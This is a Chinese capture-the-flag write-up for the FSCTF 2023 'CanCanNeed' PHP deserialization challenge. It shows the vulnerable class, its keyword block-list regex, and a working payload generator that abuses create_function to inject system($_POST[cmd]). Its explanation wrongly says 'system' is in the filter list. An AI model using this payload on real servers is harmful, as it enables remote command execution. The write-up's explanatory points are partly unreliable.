题目:[FSCTF 2023]CanCanNeed | NSSCTF
在线工具:在线运行PHP
PHP反序列化漏洞利用分析与构造
<?php
class Noteasy{
protected $param1;
protected $param2;
function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>
Hi!Welcome to FSCTF2023!代码分析
反序列化入口:通过
fileGET参数传递base64编码的序列化数据触发点:
__destruct()魔术方法在对象销毁时自动调用过滤限制:
$this->param2不能包含许多关键词(如flag、eval、system等)危险函数:
$a('', $b)- 这是动态函数调用
利用思路
$a('', $b)相当于调用函数$a,第一个参数为空字符串,第二个参数为$b。
payload
过滤绕过:你的
$param2中包含system,但过滤规则会检查$this->param2中是否包含system(实际上system在过滤列表中)create_function问题:
create_function中的eval在过滤列表中,而且create_function本身也可能被部分匹配protected属性序列化:
protected属性序列化后会包含\x00*\x00这样的不可见字符
<?php
class Noteasy{
protected $param1= "create_function";
protected $param2="};system(\$_POST[cmd]);//";
}
$a= new Noteasy();
echo base64_encode(serialize($a));
?>
绕过查看flag
